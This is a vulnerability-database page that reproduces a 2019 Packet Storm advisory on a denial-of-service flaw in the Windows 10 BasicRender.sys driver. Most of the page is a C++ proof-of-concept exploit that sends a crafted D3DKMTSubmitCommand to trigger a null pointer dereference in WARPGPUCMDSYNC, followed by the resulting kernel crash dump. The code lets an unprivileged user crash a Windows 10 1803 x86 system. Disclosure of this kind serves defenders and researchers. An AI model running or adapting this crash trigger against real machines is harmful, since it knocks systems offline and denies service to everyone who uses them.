Lucene search
K

Microsoft Windows 10 BasicRender.sys Denial Of Service

🗓️ 21 Dec 2019 00:00:00Reported by Victor Portal GonzalezType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 105 Views

Microsoft Windows 10 BasicRender.sys denial of service vulnerability in WARPGPUCMDSYNC function can cause system crash and service denial to users

Code
`# Exploit Title: Microsoft Windows 10 BasicRender.sys - Denial of Service (PoC)  
# Date: 2019-12-20  
# Exploit author: vportal  
# Vendor homepage: http://www.microsoft.com  
# Version: Windows 10 1803 x86  
# Tested on: Windows 10 1803 x86  
# CVE: N/A  
  
# A Null pointer deference exists in the WARPGPUCMDSYNC function of the  
# BasicRender.sys driver. An unprivileged user can trigger the vulnerability  
# to crash the system and deny the service to the rest of the users.  
  
*PoC:*  
  
#include <Windows.h>  
#include <d3dkmthk.h>  
  
D3DKMT_CREATEDEVICE* device = NULL;  
device = new D3DKMT_CREATEDEVICE();  
  
D3DKMT_ENUMADAPTERS enumAdapter = { 0 };  
D3DKMTEnumAdapters(&enumAdapter);  
device->hAdapter = enumAdapter.Adapters[1].hAdapter;  
logger(log_counter, "EnumAdapter");  
  
D3DKMTCreateDevice(device);  
  
D3DKMT_CREATECONTEXTVIRTUAL* contextVirtual = NULL;  
contextVirtual = new D3DKMT_CREATECONTEXTVIRTUAL();  
memset(contextVirtual, 0, sizeof(D3DKMT_CREATECONTEXTVIRTUAL));  
  
contextVirtual->hDevice = device->hDevice;  
  
char data[0x200] = { 0 };  
memset(data, 0xff, 0x200);  
  
contextVirtual->PrivateDriverDataSize = 0x200;  
contextVirtual->pPrivateDriverData = data;  
  
contextVirtual->ClientHint = D3DKMT_CLIENTHINT_DX10;  
contextVirtual->Flags.InitialData = 0x000001;  
contextVirtual->Flags.NullRendering = 0x0;  
  
D3DKMT_SUBMITCOMMAND* submitCommand = NULL;  
submitCommand = new D3DKMT_SUBMITCOMMAND();  
  
submitCommand->BroadcastContext[0] = 0x40000240;  
  
for (int i = 0; i < 0x10; i++)  
submitCommand->WrittenPrimaries[i] = 0x0;  
  
submitCommand->PresentHistoryToken = 0x100;  
submitCommand->Commands = 0x004b39;  
submitCommand->CommandLength = 0x00000d;  
submitCommand->BroadcastContext[0] = contextVirtual->hContext;  
submitCommand->BroadcastContextCount = 0x1;  
submitCommand->Flags.PresentRedirected = 0x1;  
  
submitCommand->PrivateDriverDataSize = 0x130;  
  
char* PrivateData = NULL;  
PrivateData = new char[submitCommand->PrivateDriverDataSize];  
memset(PrivateData, 0x00, submitCommand->PrivateDriverDataSize);  
  
*(DWORD*)(PrivateData + 0x118) = 0x434e5953;  
*(DWORD*)(PrivateData + 0x11c) = 0x18;  
*(DWORD*)(PrivateData + 0x120) = 0x000110;  
*(DWORD*)(PrivateData + 0x124) = 0x000420;  
*(DWORD*)(PrivateData + 0x128) = 0x0;  
*(DWORD*)(PrivateData + 0x12c) = 0x000428;  
  
submitCommand->pPrivateDriverData = PrivateData;  
  
D3DKMTSubmitCommand(submitCommand);  
  
  
--------------------------------------------------------------------------  
*Crash dump*:  
  
STACK_TEXT:  
8afae92c 8fe82cb2 8afae958 fffffffd 0000048c  
BasicRender!WARPGPUCMDSYNC::WARPGPUCMDSYNC+0xc  
8afae94c 8fe8267d bb26afe8 00000000 bb26afe0  
BasicRender!WARPKMCONTEXT::SubmitVirtual+0x4a  
8afae9a8 8fca6af5 91e05000 bb26afe0 93dfc000  
BasicRender!WarpKMSubmitCommandVirtual+0x87  
8afae9fc 8fc2a934 8afaea68 8afaeac0 92b19db6  
dxgkrnl!ADAPTER_RENDER::DdiSubmitCommandVirtual+0x115  
8afaea08 92b19db6 90114c30 8afaea68 b78da008  
dxgkrnl!ADAPTER_RENDER_DdiSubmitCommandVirtual+0x10  
8afaeac0 92b4ac94 93dfc000 cd6ee008 cc6d8860  
dxgmms2!VidSchiSendToExecutionQueue+0x526  
8afaeb90 92b764a9 00000000 945f5a80 00000000  
dxgmms2!VidSchiSubmitRenderVirtualCommand+0x534  
8afaebb8 81ee80bc 93dfc000 28e5f697 00000000  
dxgmms2!VidSchiWorkerThread+0x1a1  
8afaebf0 81fe952d 92b76308 93dfc000 00000000 nt!PspSystemThreadStartup+0x4a  
8afaebfc 00000000 00000000 bbbbbbbb bbbbbbbb nt!KiThreadStartup+0x15  
  
eax=8afae958 ebx=00000000 ecx=00000000 edx=00000000 *esi*=00000000  
edi=bb26afd8  
eip=8fe8386c esp=8afae920 ebp=8afae92c iopl=0 nv up ei pl zr na pe  
nc  
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000  
efl=00010246  
BasicRender!WARPGPUCMDSYNC::WARPGPUCMDSYNC+0xc:  
8fe8386c c7061060e88f mov dword ptr [esi],offset  
BasicRender!WARPGPUCMDSYNC::`vftable' (8fe86010) ds:0023:00000000=????????  
Resetting default scope  
  
--------------------------------------------------------------------------------  
  
The vulnerability has only been tested in Windows 10 x86 1803.  
CVSS Base Score: 5.5  
Credit: Victor Portal  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Dec 2019 00:00Current
7.4High risk
Vulners AI Score7.4
105